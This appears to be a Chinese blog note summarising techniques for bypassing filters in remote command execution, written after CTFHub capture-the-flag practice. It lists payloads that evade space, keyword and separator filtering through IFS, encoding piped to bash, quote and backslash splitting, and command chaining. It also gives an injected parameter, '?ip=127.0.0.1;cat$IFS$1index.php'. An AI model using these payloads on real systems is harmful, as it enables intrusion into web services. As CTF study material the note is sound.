RCE远程命令执行绕过

做ctfhub后小总结,以及参考

空格过滤

空格过滤的情况下,可以通过利用重定向符、IFS、其他字符代替、{,}等方法进行绕过

1
2
3
4
5
6
7
cat<flag //重定向符
cat<>flag //重定向符
cat${IFS}flag //IFS
可能也过滤了{},用$IFS$1代替:
?ip=127.0.0.1;cat$IFS$1index.php
cat%09flag //其他字符代替
{cat,flag} //{,}

命令分隔符

1
2
3
4
5
6
7
8
9
10
11
12
13
linux中:%0a 、%0d 、; 、& 、| 、&&、||

windows中:%0a、&、|、%1a(.bat文件中的命令分隔符)

;: 在 shell 中,担任”连续指令”功能的符号就是”分号”。命令按照顺序(从左到右)被执行,并且可以用分号进行分隔。当有一条命令执行失败时,不会中断其它命令的执行。

&:简单拼接 无制约

&&:前面执行成功后面才会执行

|:符号 左边输出 作为右边输入,所以左边的输出并不显示。当第一条命令失败时,它仍然会执行第二条命令

||:前面执行失败才会执行后面

敏感字符过滤绕过

过滤ls、cat、flag等

编码绕过

base

1
2
3
4
5
6
7
[shymdembp:~]
[shym]% echo 'cat' | base64
Y2F0Cg==
[shymdembp:~]
[shym]% `echo 'Y2F0Cg==' | base64 -d` flag.txt
flag{sadas_sadsad_sadasdad-sdsad}
[shymdembp:~]

hex

1
2
3
4
5
[shymdembp:~]
[shym]% echo "63617420666C61672E747874" | xxd -r -p|bash
flag{sadas_sadsad_sadasdad-sdsad}
[shymdembp:~]
[shym]%

oct(八进制)

1
2
3
4
5
[shymdembp:~]
[shym]% printf "\154\163"
ls% [shymdembp:~]
[shym]% printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"
cat /flag%

连字符绕过

1
2
3
4
5
6
7
8
9
[shymdembp:test]
[shym]% ca''t flag
flag{123-4123--213-213-123}
[shymdembp:test]
[shym]% ca''t fl''ag
flag{123-4123--213-213-123}
[shymdembp:test]
[shym]% c''at fla''g
flag{123-4123--213-213-123}

变量绕过

1
a=l;b=s;$a$b

反斜杠绕过

1
2
3
4
5
[shym]% ca\t fl\ag
flag{123-4123--213-213-123}
[shymdembp:test]
[shym]% c\at f\lag
flag{123-4123--213-213-123}

ip进制转换绕过

1
2
3
4
5
//ip地址过滤可将ip地址转化为数字ip地址

IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字。
  比如:百度的IP地址“39.156.69.79”转换成数字地址就是“664552783”。在浏览器中输入664552783就可以访问百度网站
转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

无回显创建文件绕过

1
2
3
linux下用	1>1 可创建文件名为1的空文件。
a>1 虽报错,但可以创建空文件。
ls>1 把ls的内容导入1中

在做这类题目时,一部分会给出源代码,我们可以直接参考源代码进行选择绕过让法。

如果没有,我们需要去猜测后台语句如何构造的,过滤了哪些,还有哪些可以用,然后结合各种绕过方式构造payload。